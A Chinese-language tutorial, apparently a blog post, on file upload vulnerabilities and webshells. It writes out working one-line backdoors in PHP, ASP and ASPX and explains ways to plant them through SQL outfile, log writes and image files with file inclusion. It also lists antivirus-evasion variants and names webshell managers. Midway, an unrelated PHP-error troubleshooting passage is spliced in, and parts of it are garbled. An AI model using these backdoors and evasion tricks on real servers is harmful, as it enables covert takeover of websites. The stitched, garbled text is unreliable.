文件上传漏洞
webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作命令。webshell主要用于网站和服务器管理,由于其便利性和功能强大,被特别修改后的webshell也被部分人当作网站后门工具使用。
webshell最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。
并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志(apache的access.log)中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
木马分类:
- 一句话木马:代码短,只有一行代码。使用场景多,可单独生成。安全性高,隐匿性强,可变形免杀。
- 图片马
- 大马:体积大,功能全。会调用系统的关键函数。以代码加密的形式进行隐藏。
一句话木马:又称小马,网马,后门
即利用简单少量代码实现命令执行,文件管理等目的
eg:<?php eval($_POST[‘cmd’]);?>
eval:代码执行的结构,将后面的参数作为php代码执行
$_POST:参数传递的方式
cmd:参数的名字
-
asp一句话木马
<%execute(request(“value”))%>
-
php一句话木马
<?php eval($_POST[‘value’]);?> -
aspx一句话木马
<%@Page Language=“Jscript”%>
<%eval(Resquest.Item[“value”])%>
木马的植入方式
方式一:以文件的形式上传到服务器端
上传文件可以利用MySQL的into outfile,表单文件上传等方式上传
方式二:以字符串的形式上传到服务器端
通过MySQL的日志方式,shell的echo方式,命令执行,反序列化等方式
写入一句话代码,可写入新文件或者已存在的页面
方式三:图片马+文件包含漏洞
通过上传图片马,结合文件包含漏洞上传webshell;
木马变形
- 函数替换
- 双变量绕过
- 字符串变形绕过
- 定义函数绕过
- 回调函数绕过
- 类绕过
- 编码绕过
- 特殊字符干扰绕过
- 无字符特征码绕过
特殊敏感字符可能会被当作木马文件删除
1.函数替换
php中除了eval,还有其他函数也可以执行代码,比如assert函数
命令执行函数system,passthru,exec,shell_exec等
eg:<?php assert($_POST[‘cmd’]);?>
<?php @assert($_POST[‘cmd’]);?>
@ 的作用是用来隐藏报错信息
2.双变量绕过
<?php $_POST[‘a’]($_POST[‘b’]);?>第一个post得到函数名,第二个post得到执行的参数
在调试php代码时,抛出了“ Function name must be a string”错误,搜索了一些相关的资料,总结出了下面一些可以引起错误的资料以及解决方法。
产生错误的原因
1、使用系统变量产生错误
php产生“Function name must be a string”错误,一般出现在以“$_”开头的系统变量上面,比如下面的代码就出抛出这个错误.
示例代码:
$_GET['host'] = 'feiniaomy.com';
echo $_GET('host'); //这一行会抛出错误
$_POST['host'] = 'feiniaomy.com';
echo $_POST('host'); //这一行也会抛出错误
[复制](javascript:😉
注意:
1、$_GET(‘host’) 以及 G E T ( ′ h o s t ′ ) 这 样 写 的 话 , p h p 会 认 为 你 的 _GET('host') 这样写的话,php会认为你的 GET(′host′)这样写的话,php会认为你的_GET或 P O S T 是 一 个 f u n c t i o n 函 数 , 但 前 面 又 有 _POST是一个 function 函数,但前面又有 POST是一个function函数,但前面又有符号,php 又认为他们是一个变量
2、变量是不能作为函数的,所以php会抛出“Function name must be a string”错误
3、如果在使用 G E T , _GET, GET,_POST, C O O K I E , _COOKIE, COOKIE,_FILES,$_REQUEST 以及 $_SERVER 输出其中单的变量时,一定要用方括号而非括弧,例如 $_GET[‘xxx’] , $_POST[‘xxx’]
修正上面的错误代码:
$_GET['host'] = 'feiniaomy.com';
echo $_GET['host'];
$_POST['host'] = 'feiniaomy.com';
echo $_POST['host'];
[复制](javascript:😉
2、使用数组产生错误
在输出数组的单个元素时,如果不使用方括号也会产生“Function name must be a string”错误
错误代示例:
$arr = array('1','2','3',"feiniaomy.com");
echo $arr(3); //这一行会抛出错误
[复制](javascript:😉
修正代码:
$arr = array('1','2','3',"feiniaomy.com");
echo $arr[3];
可以执行说明代码没有问题
$_POST['a']=assert $_POST['ryan']=$_POST['b']
3.图片马的制作–CMD
其中b表示以二进制文件,a表示以ASCII文件
4.图片马的制作–属性
右键图片属性,详细信息,直接在版权中加入一句话木马
5.图片马的制作–工具
用C32Asm,拽入图片,选择十六进制
用C32打开刚刚制作的2.jpg拉到最后,可以看到植入的php一句话木马
可以直接在C32里最后面加入一句话木马
6.大马
渗透测试工具
冰蝎
菜刀
中国蚁剑
哥斯拉